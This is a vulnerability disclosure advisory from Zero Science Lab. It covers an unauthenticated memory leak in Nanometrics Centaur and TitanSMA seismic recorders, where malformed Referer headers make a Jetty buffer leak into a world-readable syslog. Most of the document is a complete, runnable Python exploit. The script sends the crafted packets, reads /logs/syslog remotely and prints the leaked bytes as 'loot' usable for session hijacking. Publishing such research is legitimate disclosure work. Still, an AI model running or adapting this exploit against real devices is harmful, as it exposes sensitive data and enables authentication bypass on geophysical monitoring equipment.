Title: Nanometrics Centaur / TitanSMA Unauthenticated Remote Memory Leak Exploit
Advisory ID: ZSL-2020-5562
Type: Local/Remote
Impact: System Access, DoS, Exposure of System Information, Exposure of Sensitive Information
Risk: (5/5)
Release Date: 15.02.2020

Summary

The Centaur digital recorder is a portable geophysical sensing acquisition system that consists of a high-resolution 24-bit ADC, a precision GNSS-based clock, and removable storage capabilities. Its ease of use simplifies high performance geophysical sensing deployments in both remote and networked environments. Optimized for seismicity monitoring, the Centaur is also well-suited for infrasound and similar geophysical sensor recording applications requiring sample rates up to 5000 sps.

The TitanSMA is a strong motion accelerograph designed for high precision observational and structural engineering applications, where scientists and engineers require exceptional dynamic range over a wide frequency band.
Description
An information disclosure vulnerability exists when Centaur and TitanSMA fail to properly protect critical system logs such as 'syslog'. Additionally, the implemented Jetty version (9.4.z-SNAPSHOT) suffers from a memory leak of shared buffers that was (supposedly) patched in Jetty version 9.2.9.v20150224. As seen in the aforementioned products, the 'patched' version is still vulnerable to the buffer leakage. Chaining these vulnerabilities allows an unauthenticated adversary to remotely send malicious HTTP packets, and cause the shared buffer to 'bleed' contents of shared memory and store these in system logs. Accessing these unprotected logfiles reveal parts of the leaked buffer (up to 17 bytes per sent packet) which can be combined to leak sensitive data which can be used to perform session hijacking and authentication bypass scenarios.

Vendor

Nanometrics Inc. - https://www.nanometrics.ca

Affected Version

Centaur <= 4.3.23
TitanSMA <= 4.2.20
Tested On
Jetty 9.4.z-SNAPSHOT

Vendor Status

[10.02.2020] Vulnerabilities discovered.
[10.02.2020] Vendor contacted.
[14.02.2020] No response from the vendor.
[15.02.2020] Public security advisory released.

PoC

#!/usr/bin/env python3
#
# Nanometrics Centaur / TitanSMA Unauthenticated Remote Memory Leak Exploit
#
#
# Vendor: Nanometrics Inc.
# Product page: https://www.nanometrics.ca/products/accelerometers/titan-sma
# Product page: https://www.nanometrics.ca/products/digitizers/centaur-digital-recorder
#
# Affected versions:
#   Centaur  <= 4.3.23
#   TitanSMA <= 4.2.20
#
# Summary:
#   The Centaur Digital Recorder is a portable geophysical sensing acquisition system that consists
#   of a high-resolution 24-bit ADC, a precision GNSS-based clock, and removable storage capabilities.
#   Its ease of use simplifies high performance geophysical sensing deplayments in both remote and
#   networked environments. Optimized for seismicity monitoring, the Centaur is also well-suited for
#   infrasound and similar geophysical sensor recording applications requiring sample rates up to
#   5000 sps.
#
# Summary:
#   The TitanSMA is a strong motion accelerograph designed for high precision observational and
#   structural engineering applications, where scientists and engineers require exceptional dynamic
#   range over a wide frequency band.
#
# Description:
#   An information disclosure vulnerability exists when Centaur and TitanSMA fail to properly protect
#   critical system logs such as 'syslog'. Additionally, the implemented Jetty version (9.4.z-SNAPSHOT)
#   suffers from a memory leak of shared buffers that was (supposedly) patched in Jetty version 9.2.9.v20150224.
#   As seen in the aforementioned products, the 'patched' version is still vulnerable to the buffer leakage.
#   Chaining these vulnerabilities allows an unauthenticated adversary to remotely send malicious HTTP
#   packets, and cause the shared buffer to 'bleed' contents of shared memory and store these in system
#   logs. Accessing these unprotected logfiles reveal parts of the leaked buffer (up to 17 bytes per sent
#   packet) which can be combined to leak sensitive data which can be used to perform session hijacking
#   and authentication bypass scenarios.
#
# Tested on:
#   Jetty 9.4.z-SNAPSHOT
#
# Vulnerability discovered by:
#   byteGoblin @ zeroscience.mk
#
#
# Advisory ID: ZSL-2020-5562
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5562.php
#
# Related CVE: CVE-2015-2080
# Related CWE: CWE-532, CWE-538
#
# 10.02.2020
#

import requests
import re
import sys

class Goblin:
    def __init__(self):
        self.host = None
        self.page = "/zsl"
        self.syslog = "/logs/syslog"
        self.buffer_pad = "A" * 70
        self.buffer = None
        self.payload = "\xFF"
        self.payloads_to_send = 70 # 70 seems to be a good number before we get weird results
        self.body = {}
        self.headers = None
        self.syslog_data = {}
        self.last_line = None
        self.before_last_line = True

    def banner(self):
        goblin = """
                        NN                          
                      NkllON                        
                      0;;::k000XN       KxllokN     
                      0;,:,;;;;:ldK   Kdccc::oK     
                     Nx,';codddl:::dkdc:c:;lON      
                   klc:clloooooooc,.':lc;'lX        
                   x;:ooololccllc:,:ll:,:xX         
                    Kd:cllc'..';:ccclc,.x            _               .             ___          _       .           
                  NOoc::c:,'';:ccllc::''k            \ ___  ,    .  _/_     ___  .'   \    __.  \ ___   |   ` , __  
                Nklc:clccc;.;odoollc:',xN            |/   \ |    `   |    .'   ` |       .'   \ |/   \  |   | |'  `.
               0l:lollc:;:,.,ccllcc:;..cOKKX         |    ` |    |   |    |----' |    _  |    | |    `  |   | |    |
              0c;lolc;'...',;;:::::;..:cc:,cK        `___,'  `---|.  \__/ `.___,  `.___|  `._.' `___,' /\__ / /    |
             Nc'clc;..,,,:::c:;;;,'..:oddoc;c0               \___/                                                  
             Nl';;,:,.;:,;:;;;,'.....cccc:;..x              InTrOdUcEs: //Nano-Bleed//
              XxclkXk;'::,,,''';:::;'''...'',:o0    
                     Kl,''',:cccccc:;..';;;:cc;;dX          Discovered / Created by:    byteGoblin
                     O,.,;;,;:::::;;,,;::,.';:c';K          contact:                    bytegoblin <at> zeroscience.mk
             Kdcccccdl'';;..'::;;,,,;:::;,'..;:.;K              
            d;,;;'...',,,:,..,;,',,;;,,,'.cd,':.;K          Vendor:                     Nanometrics Inc. - nanometrics.ca
            Oddl',,'',:cxX0:....'',,''..;dKKl,;,,xN         Product:                    Centaur, TitanSMA
               d...'ckN Xkl:,',:clll:,..,cxd;,::,,xN        Affected versions:          <= 4.3.23, <= 4.3.20
              0:',';k Xx:,''..,cccc::c:'.';:;..,;,lK
             0:'clc':o;',;,,.';loddolc;'.,cc'.;olkN         CVE:                        N/A
            0:'cdxdc,..';..,lOo,:clc:'.,:ccc;.oN            Advisory:                   ZSL-2020-5562 / zeroscience.mk/en/vulnerabilities/ZSL-2020-5562.php
            :,;okxdc,..,,..lK Xkol;:x0kl;;::;':0    
            x:,:odo:,'.',,.'xN   0lk   Nk;';:;.cN           Description:                Unauthenticated Remote Memory Leak in Nanometrics Centaur product
             Xx:,'':xk:..,''lK    Y      k;';;';xX          
               XOkkko'.....'O             d.';;,,:xN
                   0dooooooxX             x'.'''',oK                _.o-'( Shout-out to the bois: LiquidWorm, 0nyxd, MemeQueen, Vaakos, Haunt3r )'-o._
                                          XOkkkkkON 
        """
        print(goblin)

    def generate_payload(self, amount_of_bytes):
        self.payload += "\x00" * amount_of_bytes
        self.headers = {"Cookie": self.buffer_pad, "Referer": self.payload}

    def read_syslog(self, initial=False):
        # Read syslog remotely and filter out 'HeapByteBuffer' messages.
        # 'initial' is used to make a 'snapshot' of the state before we send payloads...
        # That way we can filter on what we've just sent.
        print("[!] - Grabbing syslog from: {}{}".format(self.host, self.syslog))
        buffer = ""
        r = requests.get(self.host + self.syslog)
        if r.status_code == 200:
            print("[!] - We got syslog, it is: {} bytes".format(len(r.content)))
            split = r.text.split("\n")
            for line in split:
                if "HeapByteBuffer" in line:
                    if initial:
                        self.last_line = line
                    else:
                        if line == self.last_line:
                            self.before_last_line = False
                    if not self.before_last_line:
                        buffer_addr = re.search("\@\w+", line).group(0).strip("@")
                        try:
                            leak = re.search(">>>.+(?=\.\.\.)", line).group(0).strip(">>>")
                            buffer += leak
                        except Exception as e:
                            print(e)
            if initial:
                return self.last_line
            self.buffer = buffer
        else: # we can't access syslog?
            print("[!!!] - Yoooo... we can't access syslog? Make sure you can access it, dawg...")
            print("[!!!] - The status code we got was: {}".format(r.status_code))
            exit(-1)

    def show_output(self):
        # we need to translate '\r\n' into actual newlines
        if self.buffer is not None and self.buffer is not "":
            self.buffer = self.buffer.replace("\\n", "\n")
            self.buffer = self.buffer.replace("\\r", "\r")
            self.buffer = self.buffer.replace("%2f", "/")

        print("[*] BUFFER LENGTH: {}".format(len(self.buffer)))
        print("=" * 50)
        print("[*] THIS IS THE LOOT")
        print("=" * 50)
        for num, x in enumerate(self.buffer.split("\n")):
            print("{}.\t| \t{}".format(num, x))

    def send_payload(self, amount):
        print("[!] - Sending payloads to target: {}{}".format(self.host, self.page))
        if amount > self.payloads_to_send or amount < 0:
            amount = self.payloads_to_send
        for num, x in enumerate(range(0, amount)):
            if num % 10 == 0:
                print("[!] - [{}/{}] payloads sent...".format(num, amount))
            try:
                self.generate_payload(17)
                r = requests.post(self.host + self.page, data=self.body, headers=self.headers)
            except Exception as e:
                print(e)
        print("[!] - [{}/{}] payloads sent...".format(amount, amount))

    def parse_sys_args(self):
        if len(sys.argv) >= 2:
            self.host = sys.argv[1]
            if not "http" in self.host:
                self.host = "https://{}".format(self.host)
            if len(sys.argv) == 3:
                # amount of packets to send
                self.payloads_to_send = sys.argv[2]
        else:
            self.print_help()

    def print_help(self):
        print("Usage: {} <ip_addr[:port]> [amount of payloads to send]".format(sys.argv[0]))
        print("Example: centaur3.py 123.456.789.0:8080 200")
        print("\tThis will send 200 payloads to the aforementioned host")
        print("\tThe [port] and [amount of payloads] are optional")
        exit(-1)

    def main(self):
        self.parse_sys_args()
        self.banner()
        ll = self.read_syslog(initial=True)
        self.send_payload(70)
        self.read_syslog()
        self.show_output()

if __name__ == '__main__':
    Goblin().main()

Credits

Vulnerability discovered by byteGoblin - <bytegoblin@zeroscience.mk>

References

[1] https://nvd.nist.gov/vuln/detail/CVE-2015-2080
[2] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5306.php

Changelog

[15.02.2020] - Initial release

Contact

Zero Science Lab

Web: https://www.zeroscience.mk
e-mail: lab@zeroscience.mk